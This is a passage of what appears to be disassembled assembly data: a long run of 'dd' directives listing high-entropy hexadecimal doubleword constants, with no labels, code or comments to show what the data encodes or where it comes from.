dd 7EC9309Bh, 0D4BD16F1h, 4A45803Eh, 83D9E394h, 0FDA07EBh dd 18973DD1h, 0F3E36881h, 53300CBAh, 0B8DB5FD8h, 1ACB6D54h dd 47D016E3h, 0CCE4F29Ah, 51F6C93h, 6340F873h, 0E2327E5h dd 1F331F1h, 46DCEF4Ah, 854AEFD5h, 0DF9F75BFh, 372E752Eh dd 0F5C36111h, 7ACD9872h, 9935F020h, 5ECD877Dh, 0AD477ED5h dd 4FF3FF84h, 1438DEFEh, 0EA18E229h, 0F4C62461h, 0BE6914E4h dd 49572354h, 0D1481C1Fh, 2F474F3Ah, 0D2489502h, 4C2201DDh dd 0B1B2579Ah, 0A066DFACh, 0CF820319h, 4A279D20h, 4A83FA38h dd 0CDB70FCh, 8E51788Fh, 1A48B4A5h, 0F4E989D2h, 0F1A653E9h dd 59B44F2Ch, 3F1F579Ch, 5857577Eh, 0C4957F01h, 0CDD07E9Ah dd 72206D3Dh, 0C8ACF4F1h, 84D1F010h, 0DE15A491h, 0B20ACDDBh dd 482DC0Bh, 45297C4Fh, 6A075385h, 21261907h, 0FC8909F1h dd 826DECCh, 0AB8D3B7Eh, 31AD6578h, 1A37F74Dh, 623F8969h dd 655E577Ch, 0FF995929h, 0E6C3A4ABh, 0D999195h, 67813159h dd 94571A58h, 7CDCA0A4h, 58825051h, 47EC824Ah, 0A0F6E86Ah dd 5BCDA8B5h, 2A1BD697h, 2502AA6h, 32272A46h, 6F7235B9h dd 19507B82h, 0FDA3E11Fh dd 7F29EB41h, 0B827E5DCh, 0A6B46D38h, 418A98Fh, 0EFB0F0AAh dd 0E8E0FAFh, 6C72D443h, 1382EA7Eh, 9A0746A0h, 0A5B64D7Ah dd 254B4C00h, 2FFE7597h, 99F3061Ah, 428E980Fh, 146056A6h dd 29EE588h, 1DB0AA2Bh, 0ED3A69DAh, 504CF2E8h, 0B3447178h dd 35CC6AAFh, 7FE40DEFh, 0D84DABF2h, 25D7B41Ch, 601497A4h dd 88F844C5h, 0B839BAAh, 0EC7C7CE5h, 67F6E026h, 80624F4Fh dd 0B3D19A21h, 0FB523241h, 26A266E6h, 62DE87A4h, 53E41D6Eh dd 0C3B73D05h, 0A59B0FC3h, 44CC2DB6h, 1FD8AC9Bh, 25C22995h dd 336BE9DAh, 3BAA5960h, 73ABB632h, 6B18EDCFh, 718A1EDEh dd 7680A2DEh, 372E72C8h, 5CFBABD7h, 0AD8EAAB7h, 0EE54460h dd 59F20F8Ch, 665AE092h, 9F8FA7DCh, 27E717B7h, 0BF671527h dd 961E576Eh, 423BD21Eh, 65149029h, 2585E141h, 55BE762Ah dd 4D447ACFh, 7F6DA476h, 0AF5A2218h, 63979114h, 0CDDA7D4Bh dd 38F1F83Dh, 4CA3B4D8h, 0DD2CC06Eh, 7B11D51Eh, 31355B85h dd 42C78AE7h, 46972FF1h, 0E55C9C0h, 23144E3Bh, 0D258836Dh dd 0C5BA4341h, 0B343CC84h, 2FBC8DB9h, 201D2E25h, 0B4429433h dd 0CA445988h, 316AB118h, 5C2E8CD0h, 0CC66EEFDh, 7CEEA6B5h dd 0CEAF0E03h, 2808648Eh, 458A974Fh, 0D337DAA8h, 5BDC5B29h dd 6F063D7Dh, 52426827h, 0BFD9C84Ch, 0CD3129B7h, 15DB0FBBh dd 50E4DDEDh, 4E0E024Fh, 86FADF6Fh, 0A978D234h, 963ED025h dd 1EBF265Bh, 0C4223E84h, 17F0821Bh, 8C4E8528h, 0B1BE28A0h dd 48B58AB7h, 5CC01627h, 5C0C416Bh, 651FF856h, 0F314163Ah dd 0BADC46h, 504A698Dh, 0B41055F4h, 837B8E5h, 0DF8BE519h dd 895EF7EEh, 5C83C8AFh, 892608FBh, 0FED11A2Fh, 0E4811648h dd 94B3E27Eh, 0B66937D0h, 0FFAF724h, 0D3577773h, 7EFC0330h dd 0A1331F23h, 808962C0h, 52AD8423h, 1118B766h, 8C055562h dd 0FB46D335h, 200344B2h, 0F9F1FCAFh, 84BFE3A2h, 8E7FBB2Ch dd 0F08C3798h, 2C8BC266h, 7FB5F8A9h, 0CB64A65Fh, 0A4924FE3h dd 9A892FE0h, 6119FD4Fh, 5545FDEFh, 0DB42F699h, 2922289Ah dd 0B7ADC2CBh, 713BA296h, 73EC8414h, 12264F2Eh, 0F25AC781h dd 0D1A79C1Dh, 97636C05h, 41BEB672h, 379942CCh, 3824B7D4h dd 4B7B534h, 815753Fh, 0C468D061h, 0E963EFB8h, 0BEA34FF4h dd 62A24617h, 0E7CC3502h, 0CFE7317Ah, 0C09D77CBh, 1E2AD390h dd 0F7F4C382h, 0F50D0D7h, 5746FAB0h, 82A9F313h, 612CFC7Eh dd 0FCBB716Ah, 0B54F1CF9h, 0F7ECC5F0h, 0FF61E7FDh, 57769B4Eh dd 0B9775F10h, 0E3314F60h, 0BC387AEFh, 0B9084C60h, 2915EF75h dd 69DAE73Dh, 0A37C9B44h, 4B117606h, 836248EEh, 0D3DB0948h dd 9886CD93h, 0D1EA97C3h, 0FB0636CAh, 8ECD53CAh, 0D320F412h dd 0DD2EB97Dh, 0DD7AE3AEh, 3A85550h, 0D2FF47C9h, 0B0139B1Bh dd 0BC95F542h, 0C03F7074h, 0C50D969Fh, 0B577EF88h, 98BDC9E4h dd 9B3827BEh, 7F9CDA45h, 52DFE7EAh, 0D0EEB949h, 33EFD7Ah dd 0D8C004EEh, 8401AB90h, 0E3059D6Dh, 314748ACh, 10747FFAh dd 0D76889ACh, 14083A7Eh, 2E75B116h, 0DBCEEEE4h, 0D419DCE9h dd 0FC6510C5h, 1471BEB8h, 0DF547CAEh, 59138022h, 5B23A7Fh dd 0E4ABB6Eh, 0CDB4D0F8h, 0B6F9734h, 31B686A1h, 0DD292BCBh dd 850BA2EEh, 0A11295DCh, 2B67A8ABh, 0C8B4EE84h, 2FF69185h dd 0C2CD07E8h, 9F86EDECh, 0ED15ED1Bh, 1FDD6C1Dh, 4B92A7EAh dd 0F8ECE286h, 0D8A8F0B6h, 27015635h, 0D27247F5h, 0A92DEA18h dd 5B04EFB1h, 55D4D70Fh, 4EF83063h, 6E6032DAh, 0E3285099h dd 0AD310FF1h, 305F8FFDh, 5FDFDCD1h, 0A4054F0Dh, 0C55AE425h dd 489256B9h, 87281860h, 9A62FC40h, 195FBCCDh, 8BFA518Dh dd 0F2340466h, 0A179066Dh, 6F7FB74Ah, 4631FFAAh, 10D66198h dd 0F68E7827h, 0A729F5EBh, 0BE2D038Ch, 57168853h, 38170637h dd 9F9D1F37h, 36F02911h, 0B4EAA2B6h, 40C0DE6h, 0A69E4B68h dd 0B11DC949h, 5FC6513Dh, 3C0C8548h, 3B6A88B9h, 0F3C8B3F0h dd 71F524A9h, 0AB4A950Ch, 7F461BA1h, 4C2FB9EFh, 0CFEDC2B3h dd 0C36A1283h, 0C3F54B0h, 0A2F4F141h, 0C266C6AAh, 52D1CF6Ah dd 0A4C451A9h, 0DE199614h, 0A62103E4h, 83A52671h, 980A5571h dd 9921E848h, 0AA2B3DF7h, 0EC6CBD22h, 0B1D5FA00h, 0FE9CFBB0h dd 15082295h, 0DA92A268h, 9764792Ah, 8555DC5Bh, 11DB5862h dd 0D5C03688h, 0A8919093h, 9BED4C27h, 500778FFh, 9A54494Eh dd 0D621143Dh, 3CCD9CF2h, 0C3E12CCFh, 0B98D7643h, 94537FA9h dd 756FC941h, 0C48F4F46h, 0A77B0C0Eh, 5515A7DAh, 0CECB78EAh dd 0A50BEF7Bh, 9FCB4838h, 0F789C737h, 91242928h, 43D7C97Eh dd 0CDD967FBh, 60351115h, 0C893BF6Dh, 6CADFF63h, 87E2BA3h dd 0B7DD5BB4h, 0A9D0659Dh, 9D40C4F8h, 784C9893h, 71E91DB3h dd 0F00A43F0h, 0A4228D4Eh, 0AF8F324Dh, 2FA1473Bh, 79BE844Ch dd 759F3043h, 0FB72A98Ch, 0F812CE6Dh, 9F174DEh, 37982ECAh dd 0C6E32C0Dh, 3ED18DB3h, 0F6E9D050h, 12B517Ch, 0BE34692Dh dd 0E2DEEF9Bh, 911236EEh, 40EDCEF8h, 0C24E0E88h, 222F289Fh dd 0A0BA7DDEh, 65B89DD5h, 1E3F8609h, 0ED56619h, 60FA55DAh dd 0D7E7D697h, 690BF028h, 0FA94B1D1h, 0AD8C0AE0h, 0BD8C4113h dd 0CDB24431h, 12E2139h, 1CFD35B7h, 3EB48BE0h, 42012473h dd 180273F6h, 4C7C009h, 8138F20Bh, 0E4C4146Dh, 6B1E96CDh dd 9F5CE865h, 87EA5F7Eh, 7CC9464Bh, 0CE1D75EBh, 9D98A0D7h dd 56F0CCFEh, 4D79A2Ah, 6FAD0B75h, 0EDBC12B2h, 5E9D346Ah dd 0BD0E3E08h, 0A9561CD2h, 59DE9DFAh, 0C1410202h, 4FE0C5BBh dd 7C89EDF7h, 18B22F1Fh, 5FC54758h, 0A3CE5F52h, 3AC1FB15h dd 6D337F54h, 1D782CB1h, 7F5F971Ch, 0C145B0AEh, 0D57A4F68h dd 750194B7h, 0C2C78FC3h, 0F988B288h, 8412738Eh, 0CA7E60A5h dd 0A27AB105h, 0E3E4FD1Bh, 130259E9h, 47C649F8h, 69785CD6h dd 1404C36Ch, 5A4B0605h, 0EC4178AEh, 92A0DF1Ah, 772177C4h dd 5DE49AD2h, 7E6E3388h, 10E7CF20h, 9A8986FFh, 4384338Bh dd 859C1EE6h, 0B46AFE34h, 440916A6h, 0D27F4A62h, 46041B05h dd 0CDDBA8CFh, 0C893EC28h, 0E1C1051h, 9D715AD5h, 46259AE7h dd 8936EEFAh, 9B6D1531h, 0F36426C4h, 0DDD8E6EBh, 0E238011Ch dd 0F16BE758h, 4CDB70ACh, 4B5EE438h, 22CCE43Ah, 456CD760h dd 0C37835E8h, 815D8B11h, 116A1F07h, 2880FA44h, 657FAF25h dd 0D30E4F21h, 4440B526h, 3EF3002Dh, 0C6F47AB1h, 0FB0DEA99h dd 0F3E4A45Dh, 562F1EACh, 0A3C15892h, 8641806Dh, 0B0DD94B3h dd 838AEA68h, 5EF46B6Dh, 0ACC0DEE7h, 42F08615h, 0C66584B2h dd 0BAD3641Dh, 36E5FF38h, 0B36A073Bh, 79CBB321h, 0B974FE3Ah dd 31C2EA3h, 661188EAh, 8B2A89D3h, 204A89FAh, 909C816Bh dd 0BF380078h, 0C2D2EF22h, 57CD871Eh, 0D0A5F2DCh, 0E1CDD664h dd 0A2A11068h, 7BE92CF4h, 1C1C9425h, 555F9E54h, 5BF77D7Dh dd 0C8B57BA0h, 8A1CD212h, 0BE8D32AAh, 5D2269A2h, 0FBB9BD33h dd 0C213D856h, 4F7BC3BCh, 6A58BE69h, 9117A23Ch, 9530B6F0h dd 50B40D7Ah, 0AF3B73D5h, 4E281583h, 628B2B5Eh, 9C961A1Fh dd 0A9126A89h, 49720783h, 0F68DBBA3h, 22B1D695h, 0AC2D0865h dd 7A3913E9h, 0E3838017h, 992CAD1Ah, 0EC8CFE6h, 0AD471B23h dd 0BB5208E6h, 0F9D8C9BDh, 0C02891AEh, 0CC927711h, 40F0445Bh dd 6492F4D6h, 7630C642h, 784CF672h, 0B66745Eh, 0B5917662h dd 99FC710Ch, 0C4C5B145h dd 3EFA86EBh, 4354F049h, 0EF5F0EC0h, 0BD6265E6h, 0CB2B1D73h dd 0E24AB2B6h, 0ED3832CEh, 0B115B5B7h, 0B0BA29F1h, 0EE3C1CA9h dd 33F7703Eh, 0AC5AC583h, 57CE60B3h, 6A6DAF1Eh, 0B569A46Bh dd 0FE3A5D52h, 0E43E9518h, 0A16B0E3h, 0EF37B1BFh, 754B3939h dd 205CBE0h, 0F6ACB779h, 0B0C23BCAh, 58A72123h, 82534410h dd 4CE62DF8h, 55E9D929h, 0EC2DAC5Dh, 9E503EACh, 89ADFFE9h dd 0F255B2C1h, 8D7A4F38h, 9E11A9ABh, 2A56ABBFh, 714BCB21h dd 1D59C613h, 31A09882h, 87CF92EBh, 65FFB0F9h, 8BC5583h dd 0BE66EA15h, 6D3E528Eh, 0ACDA7FBFh, 8B26EBA4h, 9FAAEA45h dd 94981E7Ch, 4AE26670h, 8A356F9Dh, 7251C4Ch, 4F48A774h dd 35B9E8F7h, 2F43346Dh, 28A1B14Ah, 0ABAA0E66h, 0A874412Bh dd 395915F7h, 9D484859h, 0D6AC695Bh, 0E535CBCh, 0F3FC5CF5h dd 2A50942Dh, 74062FE8h, 0DAD57C14h, 2C34407Ah, 0C3338450h dd 35BAEF80h, 0CC01F84Bh, 1AC53898h, 65E576F4h, 8EE2890Eh dd 0A11BDC34h, 4817B6FBh, 589BC65Ch, 0C4165DFAh, 94AAE8B7h dd 3B7E031h, 0FEEF9AF0h, 6A196C0Eh, 211FC2Bh, 0D11176DAh dd 7EE3C3A2h, 0D8BA5F38h, 255036CBh, 0DEFC8DBBh, 0E5FC8A72h dd 76ACDAD2h, 0CA4DB7A6h, 0C3AC3B97h, 7B5898A8h, 415C03AAh dd 5405AAA4h, 7BE695A4h, 0FB458CE6h, 23D9F81h, 3ACFA3ADh dd 0F216A93Ch, 19588F0Dh, 8732DCB9h, 729A89A7h, 4BA55BBFh dd 4CA75829h, 0A7262680h, 0C59EC85Ch, 8982D744h, 50B41349h dd 4AFD91A0h, 20433C13h, 83862284h, 3D26643Fh, 81547DA4h dd 26A23206h, 0D9D214D5h, 6D118948h, 0B52D8B1Fh, 0F3E86B2Fh dd 0CA71EA4Ch, 0EF51A347h, 0F9EF6063h, 5FD46964h, 0E99BA655h dd 36784B53h, 83585C9Fh, 0AEF27CA7h, 6B3328FCh, 0EFC7B70h dd 0B2E7C506h, 9C03195Bh, 2EB4FE84h, 21E73831h, 7A809D01h dd 24C81918h, 8AC3F3DDh, 0DBC10CDh, 8C09D8D8h, 1774404Dh dd 0D27E4A2h, 0BBDF5C2Ch, 1B835D1h, 2F162039h, 8886853Bh dd 9BEEDEF8h, 7B9E991Ah, 0C803ECF5h, 5C699E8Fh, 7103B2ACh dd 0BDA2C515h, 5184497Eh, 69C3428Bh, 940DBD76h, 0F985BC8Fh dd 8D792498h, 0E9A6725h, 4FEF76Eh, 0D0834879h, 1D74FBC2h dd 0C7206A9Bh, 46D82D88h, 0DC97093Eh, 4E92F884h, 0FB295BAFh dd 0D2683516h, 0D108C13Ah, 0E4D408B9h, 91B09C43h, 0C509B73Fh dd 109DF323h, 9ACE21C1h, 0E5BD39F6h, 9B053192h, 812EBE36h dd 84AEF0Ch, 0B1B3B0D5h, 0C2B1C5A4h, 5B6C5696h, 28BF16F2h dd 6CF67C5Ch, 0B5431BD9h, 69A58154h, 56FD6101h, 8BB68121h dd 6DD64049h, 4FCA12E8h, 0AF2DC240h, 95D361E9h, 98FCC7Bh dd 25645704h, 0CDD2CB96h, 0DB13354Fh, 0A3EDF9A9h, 0AC2A5C5Dh dd 67DC6B82h, 20455E5Ah, 0D0A0BCA7h, 552EB003h, 83C2DECFh dd 26B977ADh, 5BC084Ah, 558E6957h, 8466E458h, 0F8C44578h dd 1FE7074Dh, 0FE39870Ch, 0E1816396h, 0C245A576h, 241D5800h dd 0B4659A47h, 3A9297AEh, 40881C93h, 0D340A286h, 0B9EBA7DCh dd 0C64D9D51h, 51506F73h, 0DCCD23C2h, 2DD9ADD4h, 9ACFEA1Dh dd 0D7363C59h, 0D01ED67Ch, 1469F53Dh, 0AE5FB27Bh, 8FC2AD42h dd 7B19F277h, 38E65E6Fh, 86E8E7BDh, 0F765A659h, 0A224727h dd 0ABC4F599h, 93CE4E97h, 0C95634BDh, 15CCB973h, 33E252h dd 5AD07B49h, 7870C204h, 78686067h, 3AECC0BCh, 0B66E5F0Eh dd 0DE207897h, 75267EC4h, 0B8D6430Bh, 5D0CE944h, 9C725255h dd 0FE0F2B73h, 1D43CFD4h, 17932F45h, 0D5FC252h, 138BA623h dd 0D2CA705Ch, 6A976CE6h, 3A8DEF4Ch, 2B54858h, 0B56AE882h dd 7AF302CCh, 95B98B42h, 3A77431Ch, 83441FB3h, 8782F47Dh dd 5AFE82EAh, 567A1FC7h, 0FE7B0C11h, 0F52CE87Ah, 0A73BE549h dd 32794A39h, 0A0CA6EBFh, 0E3141E44h, 57B1F643h, 736D480Ah dd 4E66381Ah, 0D042E8A4h, 6EF9EB3h, 5DF86691h, 0B1D19839h dd 0FD4CA653h, 0C9166044h, 2CEACEEBh, 0B7FC03FCh, 32908811h dd 22C349E0h, 50004D01h, 0B456C5Ah, 5B4E999Eh, 72DE6B78h dd 0DA79BB03h, 15FB48Dh, 361F2BACh, 0C95290FBh, 0E9CC10E0h dd 9951B335h, 33616EA5h, 5E5FED3Fh, 9EB06797h, 6FDE941Ah dd 721C86A0h, 0A97B0224h, 34B98AD7h, 9C62D574h, 5DD1A666h dd 8400144h, 4DE3BE5Ah, 94B7CAD7h, 8F052990h, 0E10C259Fh dd 6FB54363h, 23F34D3Dh, 0F73313B2h, 4E210C15h, 19F81F14h dd 2481D0C9h, 61440F5Ch, 0E3BA1D40h, 0BEEF5790h, 0C9F8A470h dd 59E6AFA2h, 39371BC4h, 17BBE276h, 0C77EC42Fh, 0DEB56626h dd 4AE0D4B9h, 6D51E1A9h, 7A7F892h, 44C118BEh, 0DE76E809h dd 0D5132616h, 0F4BB87E1h, 0B44D935Dh, 30902A29h, 73CF2BEDh dd 0BB66DE91h, 7E6D17B6h, 63E27A8Ah, 0B70E852Fh, 47398DB8h dd 4BA53804h, 8CDA592Ch, 0FA4F39BDh, 9EDE0847h, 0A0B37293h dd 92B1AB06h, 0BE4AA168h, 8BAA88F8h, 98453E92h, 354A32E5h dd 2AA154D3h, 22552C55h, 527C8989h, 60514C38h, 7C747489h dd 0A9F49C3Bh, 756C3DBEh, 4A7322ABh, 9CA04536h, 0ACAEFD9Ah dd 0E89BBE8Ah, 0DFBA9058h, 0C8A79A36h, 4335B20Ah, 0F51A3B09h dd 0EC279651h, 917350D5h, 5E41183Fh, 0A592AA0Bh, 60A695BEh dd 0CCA457A6h, 0CE150DA6h, 0FAAE3188h, 97E59114h, 7111110Bh dd 187D829Eh, 28002D19h, 0AF5F2874h, 0BC375E76h, 106C64D9h dd 648FF64Ch, 2845B56Ah, 38AF3881h, 0EF45CD9Dh, 1C44CC1Ah dd 117A60B1h, 21CD1155h, 0F0EAB8BEh, 0CC7D3667h, 6064DE37h dd 3C874DDDh, 0C28532B0h, 1EF398B3h, 0CCDFF6DBh, 0D7B6C2AEh dd 0E5D3122Bh, 68BE5160h, 6A00DA53h, 11F494DCh, 0B4515626h dd 0EF3E17F6h, 0EA9B793Fh, 3297A926h, 47CE20FBh, 8F78A9Fh dd 38DDB624h, 8AA68212h, 5E85AFDh, 68DF17A7h, 8020A41Ch dd 7FF967F8h, 4A681690h, 9768F2CDh, 0B78491Dh, 2E7DAC21h dd 5C66140Bh, 43481FBCh, 9DA91D80h, 0F892D0B8h, 0DA85839h dd 36917F9Fh, 0CB9FC46Eh, 0CACDEC90h, 0E2D3599Eh, 0F521C622h dd 0F371C3AEh, 0C21F011Dh, 7D481286h, 474FABB3h, 75341320h dd 8EC192AFh, 0D58BEABBh, 0AA0996C0h, 687E8D20h, 0CCC1FB90h dd 47872FA7h, 91DED17Ah, 590BC352h, 1413B8CCh, 30BAA6BDh dd 6C24B345h, 1B6C9CB3h, 22C4336h, 3EEC0A65h, 0D7B5E60h dd 0D2E70E94h, 0A0C9B65Bh, 31322A8Eh, 0A3C207DAh, 9C9B5B28h dd 7D5023DDh, 0AFE4D9EEh, 0FAC1B171h, 0F17A36D2h, 3E562EE7h dd 0C3C0675Eh, 245756DBh, 0CB839137h, 3F7D5213h, 72448A86h dd 53EF56D4h, 7A525878h, 3FE7FC6Dh, 7C2C1518h, 23DA28D6h dd 0DD85FC3h, 0C5C701Ah, 861C9ED4h, 190036BBh, 125BBADEh dd 5D4D9C59h, 0E633BC97h, 981F32B6h, 0BCFD4846h, 0A372554Bh dd 0CB4B30A6h, 0EAF35ACEh, 67508BF4h, 9BEFAE48h, 467D1456h dd 0C967AFE8h, 32019590h, 42F002h, 0A569BCDAh, 0B847BD9Dh dd 0B8A8FF27h, 0AF60986Dh, 0CA2FF3A9h, 9ACCB1E5h, 2E340B1Dh dd 905835DDh, 569C418Fh, 0CDBA5E4h, 0C2F7119Dh, 0B4F9350Eh dd 34F1155Dh, 0D9DBB1E0h, 55ED4A47h, 74DCC827h, 0DC1CA3F2h dd 3DAA0A6Ah, 615EA5B8h, 0BDC17E89h, 0D84A28A3h, 0CA3D54E3h dd 4CEDBF01h, 44547788h, 0DB0B9D97h, 0B77B0451h, 51F18F69h dd 0AEB6E9C0h, 253BE0D7h, 7982516Fh, 680790D7h, 50E2E1D2h dd 0AD13B1Bh, 0B1528A3Fh, 0CCA06FB2h, 63206DCh, 0D51223A2h dd 1142ABDEh, 81B7B72Eh dd 0AB79447Dh, 546C5FC2h, 0CA2E11CCh, 9A4A6C47h, 0CCEE344Bh dd 0D2D06A98h, 0B0228E72h, 81F047Eh, 1FEFB0A4h, 0CC8007EBh dd 77302AF3h, 0F0625323h, 7AA348FAh, 7504B221h, 3F568DF5h dd 6917E73Ah, 66447B93h, 1938331Ch, 93B89740h, 3AB07E66h dd 2ECE01D9h, 34370B77h, 0DA84862Eh, 84191D73h, 92100A41h dd 4F1BF743h, 57BE2AA6h, 0F88EA4FEh, 85956686h, 4114838Dh dd 2545FB6Eh, 0D81832E7h, 0A33075Dh, 0B900B8A3h, 125A184Eh dd 652A0676h, 9484BBD1h, 9F9C2350h, 8A816838h, 925251EDh dd 56ADE949h, 0E9ABFE8Dh, 19F2DB88h, 0F25A24D8h, 0A83ACF2Bh dd 39DED2E4h, 0D4BBF083h, 0A83B1BBEh, 0B7A0F7D3h, 8A0DFA44h dd 97DDDC6Bh, 0D4DEEF8Ah, 2F6C7CD1h, 717BE30Bh, 37032A2Dh dd 2DDA1972h, 0BE71F646h, 0F7B6F320h, 59279232h, 0C4269D7Ah dd 7F42C182h, 0B14A6C28h, 0CB509603h, 0FAA0B384h, 426B572Fh dd 0E8C697F3h, 0D880B87Fh, 0D6D8070Ch, 96A7F106h, 20CE75Eh dd 41501749h, 0FFDF6E32h, 0A68AF97Dh, 0ABAFE8E6h, 4FEAABCAh dd 5C6FA7ACh, 410121F2h, 5B089D59h, 5DAABBEEh, 10EF7D03h dd 5022671Eh, 18FC862Ah, 0A3B39586h, 6E846325h, 0C890A74Eh dd 83CD1238h, 0AC3BA50Ch, 0F94DE8B1h, 981A30D9h, 29B3A0BEh dd 0BAABDA35h, 987F05FFh, 0FDC05989h, 9FF3BBF3h, 6A12766Ch dd 0BDD4D4BBh, 8CEC9C39h, 49219C0Eh, 0CBC89C98h, 585D9E8Ah dd 0FBF7C1CEh, 0CDC03F5Dh, 51B86604h, 0A67CDE62h, 94291FBDh dd 0B66D74EEh, 5C6B4A88h, 5E572C5Ah, 0FB9B3C76h, 0D9E01088h dd 0EB52E29Dh, 2DD982DFh, 0A37DA3EDh, 9A8C9E2Fh, 0D94D34DDh dd 0FCB41367h, 872CD6D3h, 8A5B0584h, 201FC419h, 2E38E0h dd 171D3655h, 0B6A5CBBDh, 27982E19h, 3C5CB233h, 9BAB0247h dd 0BC082119h, 5EBCC19Dh, 8251B8E8h, 7B21838Ch, 369DF90Eh dd 233A52D6h, 9E7C8956h, 2EC5754Ch, 6B4714C1h, 7DB75EBFh dd 97DDFB1Fh, 3E59D7E4h, 6939C174h, 0E87D3F0Fh, 0D70C0325h dd 0CE2B92DCh, 54B463C3h, 5F6547FEh, 66C73608h, 770F2240h dd 0AFBE6871h, 0D9BD6158h, 0CF74755Ah, 603ACE2Dh, 0E8AB9996h dd 0E61D1458h, 0F029EBA4h, 2BC5A382h, 441CE5B8h, 64179FE8h dd 0E1F3BE60h, 2A39C882h, 827A84BCh, 8047185Ch, 4B8DD2h dd 3185EB27h, 0DE582127h, 7E1DCCA0h, 205431A1h, 117D39DBh dd 6BCDB8Ah, 9761395Dh, 0C3C81289h, 2257E332h, 10113203h dd 4FBB67h, 366EE26Ch, 0FAFC100Eh, 0BE78E3CDh, 0AFDAA62Bh dd 23C7481Ch, 7883A7AEh, 37FA5A2Dh, 1C26D8CEh, 0BEBFB56Fh dd 4149E0F4h, 70423981h, 39D16424h, 1864FC18h, 741A1275h dd 28BAE75Bh, 0AB52A56h, 0A7C06419h, 11829549h, 0BA1809F4h dd 0C7BE6954h, 92C9A977h, 0D3A1FF09h, 0F0C53B5Fh, 29978412h dd 0B14DB347h, 0F5CCF3B8h, 12F4CD7Bh, 90287FE0h, 0CE562DC6h dd 0BB144EA9h, 7DB60690h, 0EBB436B9h, 6A64006Fh, 564A9EFFh dd 9A25364Fh, 4E0755A7h, 9CDAF3A4h, 1AABA60Fh, 144F0DB5h dd 2FE30B94h, 0E4F85591h, 0EF7852B3h, 0DA8B4370h, 0DE1C2044h dd 0F0D4B4Eh, 4B082F43h, 989A1726h, 0EF27B3E8h, 23266CE2h dd 71C7494Ch, 5FBC65EFh, 0B908C161h, 0D1A7C9FEh, 1FEF05C5h dd 59BC5C74h, 91F9E80Bh, 7FE212CDh, 3463CF58h, 5288E5D0h dd 0DB699043h, 61659A02h, 0A8384A57h, 492019FDh, 0B14CF455h dd 34A30CB9h, 0C95FC44Dh, 8973FCAAh, 742DC1E8h, 4421D29Ah dd 150D0C91h, 0F70B1F87h, 0EDD3C60Fh, 0CF5969C6h, 3EC92C4Dh dd 0E35627BCh, 18373DEFh, 40C2C3D6h, 0AF438C64h, 24243CF1h dd 0EC22DF7h, 0EAEB9B1Bh, 3E38C0F4h, 11E273C9h, 9A70B241h dd 834138FAh, 0DD708FD4h, 0E36B2B12h, 0DB840A08h, 477BCB00h dd 2ED83985h, 144D7F49h, 0F13EED5Eh, 3A55EB7h, 77D43851h dd 3BA27AD6h, 6B032670h, 520B9DAEh, 556C037Bh, 0F6CA385Dh dd 3A941814h, 60E34EDCh, 860E34B6h, 0AF81A8B2h, 861CAE6Ah dd 0D9FCF887h, 12B38FE0h, 456E4438h, 0C63D0BBDh, 52E4F5D0h dd 76E4171Bh, 0F63EF2AAh, 9249FB53h, 4B393AC9h, 0A1BB6052h dd 7A5C066Ch, 0FBEE86C6h, 4D38D397h, 92082EA8h, 333B95ACh dd 887952B1h, 0AB51B450h, 8B691B9Eh, 0A9E50EEEh, 0F7503201h dd 0A319DB78h, 38FD5A48h, 312C08D6h, 0AB9C13A4h, 0B83EC1FDh dd 0F01700E5h, 9722855Bh, 0FBC3060Fh, 820C15F7h, 1B8F6F16h dd 75935189h, 68CD5436h, 0C9AA15A0h, 0CE2C3B78h, 0D4DA0F3Eh dd 0C28EDA8h, 0AF820D81h, 6EBC0606h, 6F73F29Eh, 78B46749h dd 191B8AF2h, 30B81D99h, 0B24418Ah, 3533F532h, 7FEF4571h dd 90C73418h, 3AD7736Fh, 0C1C37FA0h, 544176A8h, 0E91F33BBh dd 17C8C8BAh, 0AA6CCF92h, 5C335E83h, 92D8EEBFh, 2429C710h dd 0CF6952B7h, 0D27F3777h, 1CCC2D0Bh, 50672FA8h, 5307ABF6h dd 0F5F410Eh, 4197926Dh, 5FC47A9Ah, 9A2CD2E7h, 5B11881Ah dd 0E7E4E76Eh, 86F8CD68h, 47DB2942h, 0C6DBAC6Ch, 0B2C83EC1h dd 0DE1ECAA1h, 0CB1E2E7Bh, 0FE700947h, 5814219Fh, 3E1FD518h dd 54604141h, 22885A7Ah, 7BB3179Ch, 0D0D77ADCh, 0BAF975BEh dd 0FDF40E15h, 1E6F30B9h, 0F692936h, 81F61AACh, 2353422Dh dd 5F514D4Eh, 9C1FFA1Dh, 0ED9DA07Ch, 906042F8h, 6FEA026Dh dd 2871F638h, 0CF1B5E4Fh, 0BDFF2FBAh, 0DAE64E05h, 5376AA6Fh dd 0D92E0490h, 11370703h, 62EF0011h, 81D26E72h, 5DC4C121h dd 85839DABh, 3596F046h, 0F7E74273h, 0EE3A8758h, 6EFF3F91h dd 838C736Ch, 0B8FAB503h, 0D9E91B97h, 7BDECD82h, 8803D7DFh dd 0AFF42CBCh, 77DA4DF3h, 4C486295h, 9E919A40h, 80590DBDh dd 0B7D93EBh, 0CAA35C81h, 9A3AF5CEh, 0CFBA8C5Eh, 0DA9ACCC1h dd 0C5C8C7C2h, 50B33426h, 386B9D88h, 63D54190h, 29DB2629h dd 0F0DC7684h, 5CFF458Fh, 0F9121A34h, 4CF236BAh, 8CDB6C01h dd 0A167A798h, 2F7EB057h, 1EBDD849h, 8EE54E1Bh, 57791B85h dd 315BFB7Bh, 30019790h, 3832B9A8h, 739F41A0h, 52175280h dd 3FA3E7DEh, 0B0960E54h, 33E3007Fh, 0DFD56C91h, 5EB5484Dh dd 3D210629h, 343AEF16h, 0D7E436F3h, 1A31AD33h, 0C7300BBDh dd 313F112Dh, 5003EAA9h, 6FB394FDh, 785C5781h, 142232AAh dd 1015138Fh, 55AC06CEh, 77608B48h, 0DA97A859h, 2463BA5Ah dd 0CE8735CEh, 96915CB6h, 0EB7DFC60h, 806385A4h, 84BA1D62h dd 915745DAh, 579E5E20h, 0BEEA4D8Bh, 338FFEB5h, 0E8F7D5FDh dd 0D28F2DA0h, 0C40530B2h, 839B1261h, 0A7B6B6A8h, 4E333537h dd 149600BBh, 5C31403Dh, 6430173Ah, 12EAFE39h, 2A5C03D9h dd 65110AB5h, 2DA27B34h, 0E0B2B36Dh, 0BFB08D78h, 83200937h dd 66FC3B73h, 3348DB9Ch, 30310833h, 8AD7EF6Bh, 9F0C84B8h dd 0FA108853h, 0B0A66649h, 0AEEE05F2h, 0ABDCBB06h, 4AC386C6h dd 3C1D06D9h, 9BD4C315h, 0D93D9143h, 0F45C4FDBh, 0B29AB511h dd 0CB370968h, 0C664ED17h, 0EC1F37C9h, 